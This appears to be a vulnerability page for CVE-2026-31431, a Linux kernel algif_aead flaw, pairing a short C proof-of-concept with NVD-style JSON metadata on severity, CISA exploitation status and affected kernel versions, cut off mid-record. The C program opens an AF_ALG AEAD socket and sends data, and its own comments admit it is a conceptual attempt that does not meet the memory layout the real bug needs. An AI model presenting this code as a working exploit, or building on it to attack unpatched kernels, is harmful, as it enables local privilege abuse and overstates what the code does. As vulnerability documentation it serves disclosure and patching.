CVE-2026-31431

/** * PoC for CVE-2026-31431 * This is a conceptual reproduction attempt targeting algif_aead. * It attempts to trigger the in-place operation logic by sending * data via AF_ALG socket. * Compilation: gcc -o poc_cve2026_31431 poc_cve2026_31431.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_alg.h> #define BUFFER_SIZE 32 int main() { int fd; int alg_fd; struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "gcm(aes)" // Example AEAD algorithm }; char key[BUFFER_SIZE] = "0123456789abcdef0123456789abcdef"; char iv[BUFFER_SIZE] = "0123456789abcdef"; char assoc_data[BUFFER_SIZE] = "associated_data"; char plaintext[BUFFER_SIZE] = "secret_plaintext_data"; char out[BUFFER_SIZE * 2]; printf("[+] Creating AF_ALG socket...\n"); fd = socket(AF_ALG, SOCK_SEQPACKET, 0); if (fd == -1) { perror("socket"); return -1; } printf("[+] Binding to algif_aead...\n"); if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) == -1) { perror("bind"); close(fd); return -1; } printf("[+] Setting key...\n"); if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) == -1) { perror("setsockopt"); close(fd); return -1; } printf("[+] Accepting connection...\n"); alg_fd = accept(fd, NULL, 0); if (alg_fd == -1) { perror("accept"); close(fd); return -1; } struct msghdr msg = {}; struct iovec iov; char cmsg_buf[CMSG_SPACE(sizeof(iv))]; struct cmsghdr *cmsg; // Setup IV memset(cmsg_buf, 0, sizeof(cmsg_buf)); cmsg = (struct cmsghdr *)cmsg_buf; cmsg->cmsg_len = CMSG_LEN(sizeof(iv)); cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = ALG_SET_IV; memcpy(CMSG_DATA(cmsg), iv, sizeof(iv)); msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); // Setup Associated Data and Plaintext // Note: Real exploit requires specific memory layout to trigger the bug iov.iov_base = plaintext; iov.iov_len = sizeof(plaintext); msg.msg_iov = &iov; msg.msg_iovlen = 1; printf("[+] Sending data to trigger potential path...\n"); ssize_t len = sendmsg(alg_fd, &msg, 0); if (len < 0) { perror("sendmsg"); } else { printf("[+] Sent %zd bytes. Check kernel logs for crashes.\n", len); } close(alg_fd); close(fd); return 0; }

{"cve": {"id": "CVE-2026-31431", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T09:16:21.270", "lastModified": "2026-05-21T19:52:35.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: algif_aead - Revert to operating out-of-place\n\nThis mostly reverts commit 72548b093ee3 except for the copying of\nthe associated data.\n\nThere is no benefit in operating in-place in algif_aead since the\nsource and destination come from different mappings. Get rid of\nall the complexity added for in-place operation and just copy the\nAD directly."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-05-01", "cisaActionDue": "2026-05-15", "cisaRequiredAction": "\"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Linux Kernel Incorrect Resource Transfer Between Spheres Vulnerability", "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-669"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.14", "versionEndExcluding": "5.10.254", "matchCriteriaId": "24B62F9A-357D-465D-97EB-2819B1CD663C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.204", "matchCriteriaId": "FA800016-0012-4E3F-A528-2A7F378A0A4A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.170", "matchCriteriaId": "E6653854-B188-42DD-B8C5-0143F1956AB1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.137", "matchCriteriaId": "3CA3EF52-168A-4348-8F5F-356C9EB69261"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.85", "matchCriteriaId": "F17D292D-A9B5-4DC7-8002-51AB95335606"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:openshift_container_platform:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "932D137F-528B-4526-9A89-CD59FA1AB0FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:8.0:*:*:*:*:*:*:*", "matchCriteriaId": "F4CFF558-3C47-480D-A2F0-BABF26042943"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:9.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F6FB57C-2BC7-487C-96DD-132683AEB35D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.0:*:*:*:*:*:*:*", "matchCriteriaId": "D65C2163-CFC2-4ABB-8F4E-CB09CEBD006C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux:10.1:*:*:*:*:*:*:*", "matchCriteriaId": "4A751E0D-F417-4230-9C1F-A9AA43F6D8ED"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerab ... (truncated)